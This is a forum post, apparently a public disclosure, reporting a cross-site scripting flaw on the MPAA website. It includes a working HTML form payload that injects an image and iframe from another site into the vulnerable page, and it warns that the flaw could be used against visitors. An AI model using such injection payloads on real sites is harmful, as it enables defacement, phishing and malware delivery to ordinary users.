Nemesis
Our Projects
Forums
Extra
Controls
|
MPAA Website Vulnerable to XSS
MPAA's website was found vulnerable to XSS. Vulnerable page: http://mpaa.org/thank_you.asp.
A screenshot to remember (for next year's April 1st) :
This vulnerability can be called from any website that has the following code:
| Code: | <form name="form" action="http://www.mpaa.org/thank_you_old_05_2009_abdferkf324934lkasdf23493243kdfer.asp" method="post">
<!-- here we inject an iframe and an image from http://thepiratebay.org -->
<input name="txtfavoritemovie" type="hidden" size="18" maxlength="1175" value="<IMG src='http://static.thepiratebay.org/img/tpb.jpg'><BR><BR><IFRAME width='100%' height='600px' src='http://thepiratebay.org/browse/200'>">
<input type="hidden" name="name" value="1">
<input type="submit">
</form> |
|
Note: there is no contact e-mail on their website so we coudn't notify them about this problem.
| Update: [-TE-]-Methodman found a vulnerability on their search module: |
| Update #2: After seeing comments posted on other blogs about this bug it's time to clarify a few things. |
While the screenshot and the demo are presented as a joke, the XSS bug behind them is a warning. It does not affect MPAA as much as it can affect the users.
Some statements are considered to be true:- You don't get takedown requests for your personal pictures or home-made movies
- You don't get random legal threats that tell you to download "legal documents.pdf.exe" from MPAA website
- You didn't win any lottery organized by MPAA
- MPAA doesn't ask you on their website to enter your credit card details to pay some fines
- There is no illegal content on MPAA website
- Their website doesn't use browser exploits to infect you with trojans
- And the list goes on...
A bug like this can reverse the validity of the above statements. Until these errors are corrected, mpaa.org should be considered unsafe and/or blacklisted.
|
|
